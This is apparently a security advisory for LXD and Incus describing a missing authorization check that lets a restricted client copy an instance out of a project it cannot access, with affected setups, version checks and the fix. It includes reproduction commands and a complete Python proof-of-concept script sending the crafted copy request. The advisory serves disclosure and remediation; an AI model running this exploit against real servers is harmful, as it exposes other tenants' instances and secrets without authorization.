GITHUB.COM/CANONICAL/LXD · GHSA-qx75-2p3r-pwm5 · Package
FIX → 0.0.0-20260630083100-c5184be310b1
LXD's instance copy endpoint checks permission only on the target project, not the source project. A client that knows a project and instance name it cannot access can copy that instance into a project it can reach and read its contents, including secrets.
first public Nov 6, 2026 · 1 source
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Servers running LXD or Incus with the remote API enabled and restricted client certificates that are limited to certain projects. An attacker needs a valid client certificate for the server and must know the name of a project they cannot access and an instance inside it. Local-only or unrestricted-admin setups are not the described exposure; the sources do not name a specific Go module version range beyond the fixed commit.
Not affected if local-socket-only, no-remote-api, unrestricted-certificates
Who cares cwe-284, go, incus, lxd, self-hosted
lxd --version or incus --version on the server and compare with the fixed version.projects: lists (for example incus config trust list), since restricted clients are the exposed case.Reported from https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg
Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.
cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.
From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.
We assume the target server is remotely accessible and a user/certificate has been added.
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret
incus config trust edit cert-fp
restricted:
projects:
-
incus ls remote:
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Upgrade to 0.0.0-20260630083100-c5184be310b1
github.com/canonical/lxd: move to 0.0.0-20260630083100-c5184be310b1 or later.The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-instance secret --name copy-secret --insecure
Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.
#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-instance", required=True)
ap.add_argument("--name", required=True, help="new instance name in target project")
ap.add_argument("--instance-only", action="store_true")
ap.add_argument("--start", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
body = {
"name": args.name,
"source": {
"type": "copy",
"source": args.source_instance,
"project": args.source_project,
"instance_only": args.instance_only,
},
"start": args.start,
}
path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
return 0
if __name__ == "__main__":
raise SystemExit(main())
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
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